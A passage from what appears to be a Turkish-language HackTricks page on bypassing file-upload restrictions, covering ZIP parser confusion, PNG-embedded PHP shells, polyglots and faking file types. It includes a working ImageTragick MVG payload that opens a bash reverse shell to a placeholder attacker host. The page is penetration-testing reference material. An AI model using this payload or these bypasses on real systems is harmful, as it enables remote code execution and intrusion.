cat benign.zip evil.zip > combined.zip
. - Sunucu bir parser ile doğrulama yapıp (sees benign.zip) fakat başka bir parser ile çıkarım yaparsa (processes evil.zip), engellenmiş dosya çıkarma yoluna düşer.
ImageTragic
Bu içeriği bir görüntü uzantısıyla yükleyerek güvenlik açığından yararlanın (ImageMagick , 7.0.1-1) (bakınız exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PNG'ye PHP Shell Gömme
Bir PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, bazı görüntü işleme operasyonlarını etkili bir şekilde atlatabilir. PHP-GD'den imagecopyresized
ve imagecopyresampled
fonksiyonları bu bağlamda özellikle önemlidir; çünkü sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılırlar. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, bazı kullanım senaryoları için önemli bir avantaj sağlar.
Bu tekniğin metodolojisi ve potansiyel uygulamalarını içeren detaylı bir inceleme şu makalede sunulmuştur: "Encoding Web Shells in PNG IDAT chunks". Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sağlar.
Daha fazla bilgi: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Dosyalar
Polyglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde var olabilen kamuflajcılar gibidirler. İlgi çekici bir örnek GIFAR, hem GIF hem de RAR arşivi olarak işlev gören bir hibrittir. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Polyglot dosyaların temel faydası, dosyaları tipe göre tarayan güvenlik önlemlerini atlama yeteneklerindedir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerine izin vermektir. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğu için bu kısıtlamaları gizlice atlayabilir.
Uyumluluklarına rağmen, polyglot'ların sınırlamaları vardır. Örneğin, bir polyglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırsa da, yüklemenin başarıya ulaşması platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılar konusunda katıysa, bir polyglot'un yalnızca yapısal ikiliği yüklemenin garantisi olmayabilir.
Geçerli JSON'ları PDF gibi yükleme
Bir PDF dosyası gibi sahte göstererek, izin verilmese bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler this blog post kaynağından):
mmmagic
library:%PDF
magic byte'ları ilk 1024 bayt içinde olduğu sürece geçerli sayılır (örnek makaleden alın).pdflib
library: JSON içindeki bir alana sahte bir PDF formatı ekleyin, böylece library bunun bir pdf olduğunu düşünür (örnek makalede).file
binary: Bir dosyadan 1048576 bayta kadar okuyabilir. İçeriği bir json olarak parse edemeyecek şekilde ondan daha büyük bir JSON oluşturun, sonra JSON içinde gerçek bir PDF'in başlangıç kısmını koyun;file
bunun bir PDF olduğunu düşünecektir.
References
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
-
https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
-
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
-
https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
-
usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
-
HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
-
0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.